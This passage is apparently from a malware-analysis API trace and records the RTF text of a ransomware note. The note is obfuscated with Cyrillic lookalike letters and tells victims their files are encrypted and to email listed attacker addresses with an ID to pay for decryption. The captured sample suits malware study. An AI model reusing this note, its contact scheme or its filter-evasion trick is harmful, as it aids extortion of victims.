\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c5dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 